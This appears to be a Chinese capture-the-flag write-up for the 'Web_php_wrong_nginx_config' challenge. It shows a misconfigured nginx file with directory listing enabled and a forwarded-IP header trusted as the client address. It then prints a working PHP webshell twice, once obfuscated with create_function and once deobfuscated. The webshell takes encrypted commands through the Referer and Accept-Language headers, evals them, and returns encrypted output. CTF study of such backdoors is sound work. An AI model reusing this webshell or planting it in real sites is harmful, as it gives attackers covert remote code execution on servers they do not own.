攻防世界-web-Web_php_wrong_nginx_config（绕过登录、目录浏览、后门利用）

server { 
listen 8080; 
## listen for ipv4; this line is default and implied listen [::]:8080; 
## listen for ipv6 root /var/www/html; 
index index.php index.html index.htm; 
port_in_redirect off; 
server_name _; 
# Make site accessible from http://localhost/ 
#server_name localhost; 
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(d{4})-(d{2})-(d{2})") { set $year $1; set $month $2; set $day $3; } 
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html 
sendfile off; 
set $http_x_forwarded_for_filt $http_x_forwarded_for; 
if ($http_x_forwarded_for_filt ~ ([0-9]+.[0-9]+.[0-9]+.)[0-9]+) 
{ set $http_x_forwarded_for_filt $1???; } 
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
location / { 
# First attempt to serve request as file, then 
# as directory, then fall back to index.html 
try_files $uri $uri/ /index.php?q=$uri&$args; 
server_tokens off; 
} 
#error_page 404 /404.html; 
# redirect server error pages to the static page /50x.html 
# error_page 500 502 503 504 /50x.html; 
location = /50x.html { 
root /usr/share/nginx/html; 
} 

location ~ .php
$ { 
try_files $uri $uri/ /index.php?q=$uri&$args; 
fastcgi_split_path_info ^(.+.php)(/.+)$; 
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
fastcgi_index index.php; include fastcgi_params; 
fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
} 

location ~ /. { 
log_not_found off; 
deny all; 
} 

location /web-img { 
alias /images/; 
autoindex on; 
} 

location ~* .(ini|docx|pcapng|doc)$ { deny all; } 

include /var/www/nginx[.]conf; 

} 

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\|U|Uw])[|U\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for ($i=0;$i<$l;) {
        for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t {
                $i
            }
            ^$k {
                $j
            }
            ;
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>